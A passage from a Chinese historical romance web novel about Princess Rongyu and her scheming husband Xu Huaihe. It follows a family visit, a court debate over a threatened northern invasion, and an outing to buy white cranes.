她又想起了那夜在枯树下,许怀鹤手持利刃,溅起鲜血的样子,她不知道那是不是许怀鹤第一次杀人,但她如今已经不敢赌许怀鹤的脾性,害怕许怀鹤动怒,对闻锐达也下了死手。 她和闻锐达君子之交,并无任何私情可言,她也对闻锐达并没有男女之情,只有欣赏,实在不忍心眼睁睁地看着闻锐达死。 这一世,闻锐达没有死在江南,没有死在查案的路上,那也不应该死在许怀鹤的手中,许怀鹤日后肯定是要登基称帝的,有一个好官替他治理郡下,守护江南,不也是一桩好事,不也是君臣佳话么? 许怀鹤拆信的手顿了顿,他本来就只是做做样子,没想真的吓唬容钰,但听到容钰为闻锐达求请,心里还是冒出了几分不爽。 他原本只想把闻锐达一辈子困在江南不能翻身,现在却是真真切切地动了几分杀意,但又很快被他按了回去,低头看向容钰水润澄澈的眼眸,忽然改了主意。 他静静地思索了几息,既然公主殿下如此在意闻锐达,那比起杀了闻锐达,让公主殿下一直记挂着,说不定还会埋怨害怕自己,不如就这么让闻锐达活着。 反正有自己控制,闻锐达在江南也做不出什么名堂,更回不来京城,不能在公主殿下面前碍眼,时间一长,公主殿下指不定就忘了。 打定主意,许怀鹤故作妥协,他没再拆信封,转而放回到妆台上,对着有些忐忑的容钰颔首:“好,一切都依殿下。” 没想到许怀鹤会这样好说话,容钰愣了愣,原本不安的心绪忽然就变成了对许怀鹤的愧疚,总觉得许怀鹤在这事中受了委屈,是自己做的不对,不应该留下闻锐达的信,还让许怀鹤发现了。 春桃悄无声息地取出了口脂,本想帮容钰涂抹,没想到又一次被许怀鹤顺手拿走,在原地张口结舌,又不敢抱怨,默默重新站回青竹身边。 许怀鹤伸出食指,在嫣红的口脂上轻轻一滑,接着用另一只手握住容钰的下巴尖,往上抬了抬,柔软的指腹按在容钰水润饱满的唇上,轻轻揉开,原本就和桃花一样粉嫩的唇瓣瞬间被染红,更添了几分艳丽,让人忍不住想要品尝朵颐。 许怀鹤的喉结上下动了动,眼中的欲色增添了一层,忍住想要立刻就亲下去的冲动,低声问:“我答应了殿下一件事,那殿下是否要投桃报李,也答应我一件事呢?” 容钰心里正愧疚着,听许怀鹤这么说,她眼睛亮了亮,连忙应声:“好。是什么事呀?” 只要答应了许怀鹤接下来提出的要求,那许怀鹤应 当就不会生气了吧?这件事应当也就过去了,不会再被提起,自己也不必再忧心。 容钰这么想着,满怀期待地看着许怀鹤,只等许怀鹤提出他的要求,却全然忘了上一次答应许怀鹤所谓的邀请,自己吃了多少闷亏。 旁边的青竹清清楚楚地看到了国师大人微微上挑的唇角,简直没眼看,知道国师大人又要得了便宜还卖乖,心里直为公主殿下的天真叹气。 像殿下这样纯真善良的人,怎么能够斗得过国师大人这样一肚子坏水,老谋深算的黑心眼呢?殿下啊,哪怕已经看清了国师大人是怎样的人,却依旧逃不开国师大人的身边,还要被国师大人吃干抹净。 许怀鹤差点笑出来,他愉悦地低声回道:“等入夜,殿下就知道了。” 许怀鹤就这么轻易地被“哄”好了,他放开手,用旁边小丫鬟递来的帕子擦掉了手上的口脂。 容钰有些懵懂地转过头,由春桃继续为自己整理妆面,并没有多想许怀鹤话里的深意,也不知道许怀鹤的脑子里净是些乱七八糟的东西。 出了公主府,马车缓缓启程,容钰的车架华丽宽敞,两个人坐都绰绰有余,许怀鹤偏偏不安分,不去坐在对面,非要和她挤在一起,马车稍微一晃动,两个人就紧紧贴着,衣带缠绕,山茶花香气和檀香气混在一起,不分你我。 被许怀鹤抓住手指,暧昧地轻抚她的掌心时,容钰忽然想起了上一次许怀鹤钻入她的马车,对她做的那些荒唐事,脸颊微红,假装挑开车帘看向外面,借着车窗外的凉风为自己散散热意。 昭华公主殿下来的突然,但镇国公府并不是全然没有准备,顾培安和镇国公了解容钰,知晓她定然会来镇国公府看一看,也期盼着能见一见容钰,看看她新婚后过的好不好,早早就起了身在院中候着,听到门童来报,更是携家出门迎接。 许怀鹤虽然还没有正式登基,但监国以及先朝太子遗孤的身份也依旧高贵,几人互相见了礼,辈分和地位都乱了套,惹得顾云溪悄悄笑了起来,藏在哥哥顾明之身后,不住地朝着昭华公主看过去,看到昭华公主眉目舒展,并不是受了委屈的样子,心下终于安然了几分。 都是过来人,镇国公夫人顾林氏一看容钰红润的气色,就知道夫妻俩在床事上必然和睦,也知晓容钰在公主府过的不错,等入花厅时,悄悄将自己的见解向镇国公说了。 镇国公本想说一句胡闹,但知道容钰过得好,心里就安定了,面上也露出高兴的笑来,对着许怀鹤都和颜悦色了不少。 花厅的一半让给了男人们,由他们去聊天谈事,女眷们则是去了后面,顾云溪拉着几个妹妹围在容钰身边,她犹豫地开口:“殿下,驸马对您好不好呀?” 容钰抿了一口新泡的花茶,她闻言微顿,脑海里闪过自从认识许怀鹤之后,和许怀鹤相处的点点滴滴,温柔地笑了笑:“他对我很好。” 许怀鹤是伪君子,但他的真心做不了假,他的爱意也做不了假,自己被许怀鹤深深地爱着,宠着,她是能够感觉到的,她不能因为许怀鹤的本性和她想的不一样,就否认许怀鹤对她的爱,对她的好。 顾云溪有些愣愣地看着容钰面上释然的浅笑,不知为何,她从中读出了几分无可奈何和哀伤的味道,但公主殿下又是笑着的,是幸福的,于是她茫然,直到手里被容钰塞了一枚圆润的东珠,才回过神来。 镇国公府的小姐们每人都有份,就连顾林氏也得了一颗,但顾云溪身为嫡小姐,拿的东珠是最大,品相也是最好的,她们笑着对容钰道谢,气氛热闹极了,叽叽喳喳地说着近日的趣事,哄容钰开心,欢声笑语从未断过。 花厅的另一边,男人堆这边的气氛略有些凝滞,顾培安和镇国公面对许怀鹤这位孙女婿/侄女婿都有些不知所措,对方的身份太尊贵,不能当做普通驸马对待。 但许怀鹤向来圆滑,丝毫没有架子,寥寥几句就破开了局面,还亲自为顾培安和镇国公把了脉,为两人的暗疾开了药方。 许怀鹤精湛的炼丹术全京城都有目共睹,顾培安和镇国公自然不会怀疑这药方的有用性,连忙道了谢,就连顾明之只是粗略地学了一些药理,都能看出这药方有多精妙,叹为观止:“驸马……国师大人太厉害了。” “过奖,许某不敢当。”许怀鹤微微笑了笑,医毒不分家,他的毒术有多精妙,让太医院的院判都难以察觉,让皇帝瘫痪在床形如废人,他的医术就有多高超,不说活死人生骨肉,也能让濒死之人多活几刻钟。 收好药方后,镇国公欲言又止,最后还是问了出来,只是声音压低了不少:“殿下准备何时登基?” 这种大逆不道的话,也只能在镇国公府里说说,顾培安沉默,转而看向许怀鹤,从这位年轻人的眼中看到了埋藏颇深的野心和镇定,听到对方说:“快了。” 老皇帝的身子撑不了多久了,不出这月就会死在床上,算算时日,差不多正好是春日祭典和春猎将近的日子,老皇帝的葬礼正好一切从简,千万别冲了祭典和春猎。 钦天监已经在他手中,他只要随便编出一套天象不和的话,礼部那群人就只能乖乖照做,草草下葬老皇帝,毕竟谁敢和天道对着干?若是触怒了上苍,谁能承担后果? 容钰全然不知许怀鹤连皇帝的身后事也要报复,还准备用古书上的阵法布阵,让皇帝永世不得超生,只能变成孤魂野鬼游离在人世,最后凄惨消散,入不了轮回,她从镇国公府出来时,眉眼间俱是轻松笑意,还约了顾云溪下次去看白孔雀,买一只回公主府养着。 得知许怀鹤为外祖父和舅舅把脉,找到了隐藏许久,连郎中都看不出的暗疾,还开了药方,据说若是长期服用就能根治,容钰心中高兴又感激。 她在马车内主动牵住许怀鹤的衣袖,往许怀鹤那边靠了靠,贴着许怀鹤的耳朵,低声道:“谢谢你。” “殿下不必同我客气。”许怀鹤顺势牵住容钰的手,细细揉捏着,“夫妻本是一体,殿下的家人,以后也是我的家人,孝敬外祖父和舅舅是应该的。” 容钰被许怀鹤话里“夫妻本是一体”触动,她靠在许怀鹤的肩膀上,依偎着他,全然依恋,下马车也是被许怀鹤抱着下来,一路进了卧房。 坐在拔步床边,容钰正要使唤许怀鹤去给自己倒茶,就被许怀鹤低头吻住了唇,没说出的话全都消磨在了唇齿间,被亲的晕头转向,头钗散乱。 许怀鹤随手拆了发簪,墨色如瀑,青丝倾泻而下,铺在容钰的脸侧和肩膀,被剥去外裙的容钰终于察觉到了不对,她刚想拂开许怀鹤的手,就听到许怀鹤道:“殿下应过我,等入夜就答应我一件事,我想要殿下,可好?” 容钰愣了愣,下意识看向窗外,暮色四合,确实快入夜了。 她这么一愣神,又让许怀鹤抓住了机会,被许怀鹤打横抱起去了浴房,一路走一路亲着,亲得她迷迷糊糊,分不清方向。 她被许怀鹤抱着走入浴池中,去了衣物,脸上有轻柔的帕子为她擦去残妆,许怀鹤的指尖在她发烫的皮肤上游走,引起阵阵颤栗,她听到许怀鹤引诱地低语:“阿钰,钰儿?” 容钰头一次听许怀鹤这么叫自己,腿一软,差点跌坐在浴池里,好在腰身被许怀鹤稳稳托着,她羞红了脸:“不准叫……” 但很快,她就没了说话的力气,只能抓着许怀鹤的手臂,起起伏伏。 第67章 第67章漠北起兵 * 许怀鹤实在太能折腾,容钰第二日醒来的时候又觉得腰酸腿软,窝在软而厚实的被褥里面,半晌都不想起身,连拉铃的力气都没有。 罪魁祸首还躺在她的身侧,带着浅笑看她,容钰别过脸去,气鼓鼓地不想和许怀鹤对视,许怀鹤也不恼,圈住她的手腕把玩着手指,慢条斯理地为她梳理着颈侧的秀发。 喉咙有点沙沙的,带着微微的刺痛,容钰心里更气了,知道是昨夜自己叫的次数太多,把嗓子都弄哑了,忍不住抬手轻轻锤了一下许怀鹤坚实的臂膀,又逗得许怀鹤低笑了一声。 依旧是被许怀鹤抱着进了浴房,等换好衣物出来,容钰的脸上不知道是被热气蒸的,还是被许怀鹤不安分的手脚作弄羞的。 她坐到桌边,端起春桃泡好的温茶饮了半杯,这才觉得嗓子舒服了一些,转头问正在束发的许怀鹤:“你什么时候回皇宫去?” “殿下这是在赶我走吗?”许怀鹤并没有直接回答,他靠过来,没让容钰瞧见自己的神色,只是语气听起来有些伤心,“是我昨夜伺候的不好,还是……” “不是!”容钰差点一口茶水呛住,美眸瞪 了一眼许怀鹤,赶在许怀鹤说出更多的浑话之前开口,“你如今监国,好歹也该在百官面前露个面,总不能像这样日日不去早朝。” 许怀鹤不以为意:“我新婚燕尔,正是和殿下浓情蜜意之时,想来他们会理解的。” 这个人怎么没个正形! 容钰抵不过许怀鹤的厚脸皮,无语地转过脸,就在她以为今日也会和许淮鹤一起腻歪一整日时,许怀鹤的仆从突然慌慌张张地从外面赶进来,在门口通报了一声,低眉顺眼地来到许怀鹤面前,低声说了些什么。 容钰没有仔细去听,也无意打听许怀鹤的事,只看到许怀鹤的眉头微微皱了皱,转身对她道:“殿下,我今日恐怕没法在府中陪你了,但入夜一定能赶回来。” “好。”容钰只是愣了一瞬,就点了点头,目送许怀鹤离去,白衣轻拂,留下如白鹤一般孤高清冷的背影。 出了公主府,许怀鹤脸上的神色立刻肃冷了起来,他坐上马车,身穿黑衣的下属半跪在马车内,向他禀报已经得到的消息:“殿下,已经找到人证了,是当年宫变时的小太监,人在江南,不日就能入京。” 许怀鹤淡淡“嗯”了一声,并不怎么在意,转而提起另外一件事:“漠北那边,漠北王确定有意发兵边境,攻打大夏了吗?” “是,殿下,”属下颔首,眼中闪过深深的忌惮,“漠北王狼子野心,我们在漠北的密探已经回信,确认漠北王在听说大夏的皇帝缠绵病榻,无力行动时就已经想要出兵,但去岁漠北被寒冬和干旱肆虐,兵力不足,他们打算等一个春季,养精蓄锐,就抓住时机开战。” 许怀鹤冷冷笑了一声,眼底闪过一抹寒光:“假装不知他们的野心,照旧请他们来参加春猎,看看他们胆子到底有多大,敢不敢让最出色的大王子来大夏。” 只要对方敢来,他就敢让对方再也走不出这京城,直接斩掉漠北送来的强大战力,让漠北损失一员大将,若是运气不错,漠北多派了几个王子来,那就更好了。 来一个,他杀一个。 听出许怀鹤的话里的杀意,属下先是打了个哆嗦,有些胆寒,但随即又安心下来,只要有国师大人,不,有未来的陛下坐镇,大夏必定是安全的,漠北再怎么折腾,也逃不过被大夏吞并的下场,只能乖乖成为大夏的属国。 他静悄悄地退出了马车,车夫得到命令,扬鞭驾马,快速地驶向另一个方向,去往了皇宫。 许怀鹤略有些厌烦地靠在马车的车壁上,他轻抚了一下袖口上的白鹤花纹,知道一入宫就会面对大量的奏折,上面尽是些无意义的废话,做实事的人不超过十个数,还要面对无数人的巴结讨好。 但漠北有意攻打大夏的消息,他又不得不向几个能信任的大臣公开,让大家心里多少有些底,防患于未然,先拟出几套应对的方案来,这么一商量,必定又会引发口舌之争,拖到入夜都不一定能解决。 至于查清先朝的宫变,这事并不紧迫,只不过要想让自己名正言顺地登基,这就是最后一步。 先朝太子是罪太子的身份,因为弑父弑君而背了一世骂名,也让现在的皇帝当初有机可乘,夺得了皇位,自己身为先朝太子的孩子,若是这件事不澄清,不解决,等自己登基的时候,恐怕还有一股阻力,有人会借机生事。 放在从前,许怀鹤毫不在意这些,也无意帮名义上的父亲澄清什么,他对记忆中的父亲并无多少感情,从他有记忆起,便是慈爱的母亲照顾自己。 那个名义上的生父自私自利,心中只有他的皇位,明明都已经沦落成了罪太子,处处躲着军队,和逃犯没有任何区别,却还依旧觉得自己尊贵无比。 那个男人看不起母亲,觉得母亲能够做他的女人,就已经是天大的恩赐,丝毫不顾母亲的意愿,强行占有了母亲,还觉得自己是太子,就该十指不沾阳春水,让母亲伺候他一辈子。 当初被那姓王的村妇发现,告知军队他们的藏身之处时,男人还想撇下他们母子独自逃生,若不是母亲拖住了时间,将自己藏匿在山林之中,捡回了一条命,他恐怕早就死了。 母亲被抓时,男人也丝毫不顾念,明明是母亲救了他,母亲对他有救命之恩,还有夫妻之恩,他却只想着自己逃命,死了也是活该! 且只要皇位在手,历史总是由胜者书写的,许怀鹤冷冷地想,自己说什么就是什么,谁敢忤逆? 但如今,许怀鹤却不得不多做一些,澄清当年的宫变,洗清骂名,免得公主殿下又胡思乱想,觉得他冷血无情,害怕他,畏惧他,和他离心。 入了皇宫,许怀鹤依旧心情不佳,他抬手敲了敲扶手,让抬轿的人直接转到养心殿,去“看望”病榻上的老皇帝。 大太监一边想着国师大人不会要对陛下动手了吧,一边又不敢多言,连忙让抬轿的人转向,去了养心殿。 刚进养心殿,就有一股淡淡的恶臭传来,许怀鹤微微皱了下眉,大太监连忙识相地递上一张熏过香的手帕,屏着气向许怀鹤禀报:“殿下,陛下的身上生了疮,太医来看过了,治不好,疮流脓才生了恶臭,已经让人点了香压住,奴才这就让人再多燃些香。” 养心殿内,伺候皇帝的宫人们都懒散松懈,无人在意卧房内的老皇帝有什么需求,就连一杯茶都没人去上,见到许怀鹤进来,这才紧了紧皮子,流露出几分恐慌的情绪。 听到大太监的话,他们连忙又搬了一个香炉过来,往里面加了上好的苏合香,终于盖住了殿内的恶臭。 许怀鹤站在卧房门口,并没有进去,只静静地打量着出床榻上老皇帝的丑态,对方听到门口的响动,似有所觉地奋力挪动着眼珠,朝着许怀鹤的方向看过来,以为是自己的乖女儿容钰终于想起了自己,来看望他,却只看到了许怀鹤那张令他恐惧的脸。 他先是畏惧,但见到许怀鹤站在门口迟迟不进来,胆子便大了起来,变成了愤怒和仇恨,用想要杀人的眼神死死盯着许怀鹤,恨不得将对方千刀万剐。 而许怀鹤只是轻蔑地笑了笑,看着老皇帝愈加愤怒的眼睛,冷冷嘲了声“废物”。 大太监狠狠低着头,假装自己什么都没有听到,跟随着许怀鹤的步伐离开养心殿,走在软轿旁边,一路小跑跟去了御书房。 许怀鹤的心情好了不少,在见到右相杜科,镇国公还有另外几名心腹时,嘴角都带着浅笑。 他淡声将漠北那边的异动说了,镇国公深深皱了皱眉,还没来得及开口,就被旁边的杜科抢先:“殿下,不如我们先下手为强,打他们一个猝不及防。” 镇国公立刻反驳:“不行,边境 的寒冬不光影响了漠北,也影响到了边关,加上之前户部贪污军饷,边关的战士们吃不饱,穿不暖,没有力气打仗。若是从京城和其他州县出兵,漠北那边必定也有所察觉,打不了出其不意,只能正面对抗。” 杜科有些不悦地抽了抽嘴角,早些年顾培安还在朝堂上的时候,就净和他作对,这会儿顾培安退下去了,镇国公顶了上来,依旧和他作对。 杜科缓了缓:“镇国公说的也对,那就从长计议吧。现如今最要紧的,还是殿下登基的事。” 和许怀鹤在意的截然不同,几位大臣们都更关心许怀鹤究竟何时登基,至于漠北攻打的事,倒是可以先放一放,毕竟要等春季过后,对方才有能力出兵,几个月的时间足以他们做许多事,而让许怀鹤尽快登基,成为一国之君,稳定民心,拔除异心才是最重要的。 许怀鹤随手拿起砚台边洗干净的狼嚎毛笔,在指尖转了一圈:“不急,先朝宫变的事我已经着手准备澄清了,你们若是有什么证据,能证明先朝太子的清白,也可以呈上来。” 杜科立刻拍起了马屁:“殿下英明,臣就知道先朝太子必定是冤枉的,先朝陛下就只有太子一位皇子,太子什么都不用做,也必定会继位,他何必多此一举,冒着风险干出这种大逆不道的事?他必定是被陷害的,这其中肯定有蹊跷。” 先朝太子确实没有任何理由弑父弑君,所以当年他在听到先朝太子杀了皇帝时,第一反应便是不可能。 但其他人却有理由陷害先朝太子,从而抢得皇位,毕竟先朝皇帝可只有先朝太子这一个儿子,旁支血脉淡薄,只要有野心,有权利,有能力,谁不想争一争?万一呢?万一这皇位就落到自己头上了呢? “听说当年宫变,镇国公最先入皇宫,也不知有没有看到什么,能为先朝太子证明清白?”杜科转头,将话题带到了镇国公身上,颇有些看好戏的意味。 谁不知道当年宫变,就属镇国公功劳最大,也最先入皇宫控制住局面,后面又全力支持如今的陛下,才让如今陛下当年顺利登基?若是许怀鹤心眼小了一点,杜科这么一说,许怀鹤必定会对镇国公增添几分不满和迁怒。 都是成了精的老狐狸,御书房内的其余几人都默默交换了个眼神,想要知道镇国公会如何应对,也想知道陛下会不会因为这些往事而动怒。 然而镇国公根本没听出杜科的那些小心思,只当杜科是在认真询问自己,他也陷入了回忆之中,认真思索了一番,对着许怀鹤开口道:“回殿下的话,当年确实有一些疑点,臣入宫时,先朝皇帝的尸身已经被收敛好,不许任何人靠近,无从得知先朝皇帝究竟是不是被先朝太子一剑刺穿而亡的。” 许怀鹤抬眼,没有丝毫情绪波动,漫不经心地问:“哦?是谁阻止旁人靠近的?” “是太医院的院判。”镇国公顿了顿,又补充道,“如今他身在刑部的牢里。” 看来对方身上还有许多秘密没有吐干净,许怀鹤放下狼毫毛笔,拍了拍掌:“好,那诸位就来谈谈,该如何应对漠北吧。” 御书房内,数名大臣吵的不可开交,面红耳赤,差点就要动起手来,而公主府内却一片岁月静好,容钰靠在软枕上,看完了一卷新话本,随手合上书,摸了摸雪团柔软蓬松的毛发。 说来也奇怪,自从许怀鹤做了驸马,住进公主府里来,雪团就跑没了踪影,只要许怀鹤在身边,雪团都躲得远远的,今日许怀鹤走了,雪团才敢进屋内,像往日一样跳上她的膝盖,撒娇打滚。 容钰点了点雪团粉嫩的鼻尖,低声细语:“都怪你,若不是你在大婚前那晚乱跑,害我跑到了边院,上了墙头,也就不会看到许怀鹤杀人的那一幕……” 说到这里,容钰忽然顿了顿,她默默地想,以许怀鹤的好演技,自己说不定真会被许怀鹤骗一辈子,都不知道许怀鹤的真脾性,还傻傻地觉得许怀鹤是真君子。 雪团不明所以地“喵呜”叫着,容钰失笑,拿了一枚酥点喂给它:“乖乖的,再过几日,院子里养了白孔雀,你可不许去扑腾它们。” 第68章 第68章许怀鹤怎么会是这种人?…… 许怀鹤回来时已经约摸半夜,容钰早已睡下,不知为何,没有许怀鹤在身侧,她迟迟未能入眠,百无聊赖地盯着床帐上精美的刺绣和珠串。 明明先前没有和许怀鹤成亲,还没有成为夫妻的时候,她也是一个人这样睡着,却很少有过失眠的情况,许怀鹤一走,自己就睡不着了。 听到外面轻微的响动,还有春桃和青竹低声喊“驸马”的声音,容钰知道许怀鹤回来了,半撑着手臂从床上支起身子,将床帘掀开一道窄窄的缝隙,看到许怀鹤高大的身影从烛台前走过,去了浴房,一举一动的声音都很轻,想必是不愿吵醒她。 于是容钰又重新躺回去,心里莫名安定了一些,静静等了片刻,许怀鹤就带着微凉的水汽,挑开床帐上了床榻,十分自然地用手圈着她的细腰,将她往怀里揽了揽。 容钰紧紧闭着双眼,她也不知道自己为什么要装睡,兴许是想知道许怀鹤在她睡着时会做些什么,她假装睡得很熟,自以为装的极好,只是有些不自然的呼吸和略僵的肢体还是暴露了她。 许怀鹤也没挑破,只是轻轻地,略带挑拨地摸着容钰的腰,摸得容钰身体愈发僵硬,脸色微红,从许怀鹤侧躺的角度看去,就能看到她粉红色的后颈,眼底的笑意更浓。 容钰本想着再装一会儿,谁知一窝进许怀鹤温暖的怀抱里就犯了困,不多时就沉沉睡着了,也没听到来自身后许怀鹤低低的轻笑。 醒来时已经过了午后,容钰起身用午膳,许怀鹤已经不在公主府内,她原本想装作不在意,但吃了几口琥珀芙蓉羹后还是没忍住,询问旁边的青竹:“驸马去哪了?” 公主殿下果然还是在意驸马的,青竹忍住笑意,回答道:“回殿下的话,驸马和国公爷去兵营了,说是想看看新兵们的训练成果。” 兵营?容钰愣了一瞬,她缓缓放下白玉瓷的勺子,脑海里瞬间闪过了一些不太好的回忆和想法,她有些紧张地攥了攥手心,心想不应该这么快吧? 漠北不是还有一年多才会起兵吗?怎么现在就要去军营了? 可仔细想一想,上一世发生的事的确全都提前了一年甚至更早,容钰心里越发不安,她招了招手,让青竹靠过来一些,低声道:“青竹,你若是有法子,就去军营瞧一瞧舅舅和驸马在做些什么,务必要将他们说的话都告知我,明白么?” 这下轮到青竹惊讶了,她从来没有想过有朝一日公主殿下会说出这样的话,竟然有些国师大人的作风,但这也说明公主殿下的确在意驸马,喜欢驸马,她心中高兴,连忙领命去了,准备将公主殿下说的话也同样告知国师大人。 容钰如并不知晓青竹误会了什么,她心里存着事,剩下的午膳只草草吃了几口就放下了筷子,连爱看的话本也看不进去,在桌边发了半晌呆。 左右无事,容钰转头:“春桃,你去镇国公府递个帖子,问一问顾云溪今日有空么?我想请她一同去买白孔雀。” 春桃带着公主府特制的帖子去了,没过多久就回来复命,脸上带着笑:“回殿下的话,顾小姐已经坐着公主府的马车到了。” 顾云溪巴不得能日日同昭华公主殿下一起出门游玩,一看到帖子就忙不迭地收拾出门,连头钗都落了一只,这会儿正不好意思在马车内让丫鬟帮她整理发簪。 见到容钰出来,她连忙下马车行礼问好,忍着激动和容钰同乘了一辆马车,规规矩矩地坐在容钰的对面,双手交叠放在膝上,乖巧的不得了,只是总忍不住往容钰的脸上瞟,总觉得昭华公主殿下几日不见又更美了一些,之前因为风寒清减下去的脸颊也添了几分红润。 入春后一日比一日暖和,容钰今日出门没披厚斗篷,只是套了件内里有灰鼠皮的短袄,下面是石榴红的马面裙,身上原本的少女气息不减,但又多了几分成熟的风韵,一举一动都更加迷人。 马车要去的地方是京郊的一处庄子,是如今这天下最富 的商人,柳家的地盘,据说里面藏满了奇珍异宝,有些罕见的东西哪怕给足了银钱,柳家都不一定愿意卖。 柳家的商路四通八达,外番都有贸易之处,从各地淘来的宝物数不胜数,各行各业均有涉猎,就连奇珍阁里的东西都从柳家进货。 柳家得了几只白孔雀的消息,上个月就传了出来,不少人都想要从柳家买一只,据说最高价已经出到了三万两黄金,但柳家一直没松口。 顾云溪听得咋舌,到了地方,她下了马车,乖乖巧巧地跟在容钰身后,一抬眼就被这所庄子的装潢所震撼。 她从来没有见过这么奢侈的房屋,白玉为梁金做地砖,晃眼看过去,尽是珠宝散发出来的火彩光亮,几乎要闪瞎人的眼睛,价值上万两白银的书画字帖就这么挂在墙边,哪怕随便一个仆人身上都是绫罗绸缎,富,太富了。 顾云溪不由得有些拘谨,但看着容钰依旧闲适自如的神态,颇有兴趣地欣赏着桌边摆的一只缠花瓷瓶,她又放松了许多,默默跟在容钰身后,看着仆从迎上来认出了容钰的身份,连忙行礼叫了昭华公主殿下,又去招呼庄子主事人过来招待,请她们去了最好的上房,为她们备茶。 大红袍的香气在雅间里散开,容钰轻轻抿了一口,满意地弯了弯唇,这里泡茶的手艺可比之前的茶楼酒馆好多了,至少没有埋没了这样上等的好茶,微苦回甘,唇齿留香。 不多时,就有一位极其年轻的男人敲门,进了雅间,向容钰行礼,介绍了自己的身份:“参见昭华公主殿下,在下是柳家三郎,殿下叫我柳三就好。” 柳三长着一张笑眯眯的俊朗面容,看上去十分正义,让人一看就生出几分好感,容钰颔首,请他坐下,直截了当地说明了来意:“本宫听说你们这里有几只白孔雀,若是本宫想要一只,需要用什么来换?” 柳三的视线还停留在容钰那张绝世美人的脸上,内心不禁感叹着百闻不如一见,昭华公主殿下果然是当世绝无仅有的美人,艳丽和天真,妩媚和可爱在她身上融合的极好,不论是皮相还是骨相都是顶级的。 更别提她肤若凝脂,还有那令人血脉喷张的好身材,纤腰丰胸,长腿嫩指,哪怕他们柳家花费大量心力搜罗的十八位花魁,加起来都不如昭华公主一人美丽。 特别是昭华公主殿下身上那份气度,需要用多少珠玉,多少金银才能养的出来,那双眼睛更是澄澈无邪,不论哪个男人看了都会沉溺其中。 可惜这样的美人已经嫁人了,且是公主,身份尊贵,没办法为柳家所用,柳三在内心微微叹了一口气,听到容钰的话,连忙堆起笑容,回复道:“回公主殿下的话,这庄子里的确有两只白孔雀,但并不售卖,此等稀世之宝,千金不换。” 容钰微微蹙了眉:“拿什么都不换么?” 倒也不是。柳三在心里默默回了一句,要是昭华公主殿下肯纡尊降贵,嫁到他们柳家来,那柳家必然是心甘情愿地将这几只白孔雀悉数奉上,任由公主殿下挑选,包括柳家剩余的其他所有珍品,全都由昭华公主挥霍。 但昭华公主殿下已经有了驸马,且那人是如今权势滔天的国师大人,先朝太子的遗孤,即将登基的新帝,他们可千万惹不起,这话可更不敢说,柳三赔笑道:“是,公主殿下请见谅。” 柳三说完这话,就默默观察着昭华公主脸上的神情,他也是听说过昭华公主殿下在外嚣张跋扈,以权势压人的名声的。 若是昭华公主和传闻当中的一样,那也没关系,他们柳家向来不怕权贵以势压人,能够走到今天,他们柳家除了处事圆滑之外,也始终有条底线,有风骨在身,说不卖就是不卖,自有法子暗度陈仓。 这白孔雀太过珍惜,他们柳家寻了几代人,也只在这一代寻到了三只,哪怕再小心,运回京城的途中也死掉了一只,只能含泪将其羽毛全部拔下来,珍藏在库房之中,剩下的两只精心喂养,期盼着这剩余的一公一母能够繁衍出更多白孔雀的后代,若是少了一只,都是不成的。 但柳三没有想到的是,对面的昭华公主殿下只是有些苦恼地抿了抿唇,便没有过多纠缠,十分通情达理地点了点头:“好吧。” 柳三忍不住愣了愣,哪怕看起来再温和的其他权贵以及商贾,在面对白孔雀的事上也得讨价还价,几番试探才肯罢手,更有甚者还想出手强抢,但都被他们柳家挡了回去,他认为最不好应付的昭华公主殿下,竟然是最好说话的那一个! 柳三心里忍不住有些警惕,总觉得昭华公主殿下恐怕还有什么后招,在他的严阵以待中,容钰思索了几息,再度开口问他:“那这庄子里可有品相好的白鹤?本宫想买几只,柳家应该不会连白鹤也不卖吧?” 白鹤自然是给许怀鹤买的,上一世她就听闻许怀鹤极其爱白鹤,不光衣服上的刺绣是白鹤花纹,就连得了国师府后,也命人专门在国师府里建了一处池子,养了数十只白鹤,任由它们在池子里生活玩乐。 如今许怀鹤才得了国师府不久,应当没来得及动工,就做了她的驸马,住进了公主府,后面又出了些事,一直没提起这事。 好巧不巧,公主府里就有现成的池子可以养白鹤,那池子原先是养荷花的,后面又放了许多锦鲤进去,如今再添几只白鹤,相得益彰。 听到容钰这番话,柳三愣的时间更久了,直到容钰用疑惑的眼神看着他,柳三这才回神,连忙点头,心里的震惊丝毫不减:“有,有有有,公主殿下请随在下去兽园,兽园里有许多白鹤,公主殿下看上哪只就挑哪只。” 谁不知道国师大人许怀鹤是最爱白鹤之人,公主殿下想买白鹤回去养着,恐怕是为国师大人挑的吧,看来传言也是真的,国师大人和公主殿下果然恩爱非常,两人的命格奇特,他之前远在江南收冰蚕布料时都有所耳闻,果真是天造地设的一对。 容钰点了点头,跟着起身,顾云溪也连忙跟在后面出了雅间。这庄子的地盘太大,去兽园也得坐马车,足足行了半柱香的时间才到后山。 刚下马车,容钰就听到了一声虎啸,震得地面都有些微微发颤,她惊的往后退了半步,顾云溪也吓得紧紧攀住了她的手臂:“殿下?” 柳三从另一辆马车上下来,走到容钰面前连忙解释:“殿下和这位小姐不必惊慌,兽园里的确有几只狮虎猛兽在,但它们都被关在笼子里,绝不会出来伤人,若是两位害怕,咱们绕着走就好。” 容钰缓了缓神:“好,不必特意绕路,若是有机会,本宫也想看一眼。” 老虎诶!她只在很小的时候参加春猎时远远看过一眼,那年是哪位勇士猎得了老虎,她已经忘了,只记得那只老虎身形巨大,一口仿佛就能吞掉十个她,毛皮仿佛都在发光,倒在猎场上,周围都是欢呼的人群。 顾云溪虽然也怕,但是柳三说那些猛兽都被关在笼子里,加上公主殿下想看,胆子也大了几份,想跟着容钰一起看一看,两人互相挽着手臂,慢慢向前走着,兽园头一处就是几只温顺的金丝猴,一边吃着果子,一边好奇地打量着她们,看上去可爱极了。 容钰看的有些心动,金丝猴的毛发在阳光下如同闪耀的碎金,她又想买几只回去养着,心里记着这事,结果一路走,一路看到的奇珍异兽她每只都喜欢,看着看着就忘了,沉浸在了惊叹和赞美之中。 她也如愿以偿地看到了那只发出虎啸的猛虎,对方身上的肌肉如同起伏的小型山峦,每一步都带着十足的力量,像一位王者巡视着自己的地盘,看向他们的目光冷漠,懒洋洋地舔了舔爪子。 容钰半掩着唇,以免自己发出惊呼,惊动了对方,和顾云溪一起静悄悄 地从笼子边走过,一步三回头地看着那只健硕的猛虎,最后还是恋恋不舍地转头,一路走到了养着白鹤的大水池边。 这片水池几乎一眼望不到头,不光养着白鹤,还养着其他的鸟类,发出的叫声杂糅,根本分不清谁是谁。 岸边的碎石堆上站立着几只身形孤高的白鹤,它们的双腿细长,时不时低头在水里用尖尖的鸟喙一啄,就捡到一条小鱼,几口吞入了腹中。 